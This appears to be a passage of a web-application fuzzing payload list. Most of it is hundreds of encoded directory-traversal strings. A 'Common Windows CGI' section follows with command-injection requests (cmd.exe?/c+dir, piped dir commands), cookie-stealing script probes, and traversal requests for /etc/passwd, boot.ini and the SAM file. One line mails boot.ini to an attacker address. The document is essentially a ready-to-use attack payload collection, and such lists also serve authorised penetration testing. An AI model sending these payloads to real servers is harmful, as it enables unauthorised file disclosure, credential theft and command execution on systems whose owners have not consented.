..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> 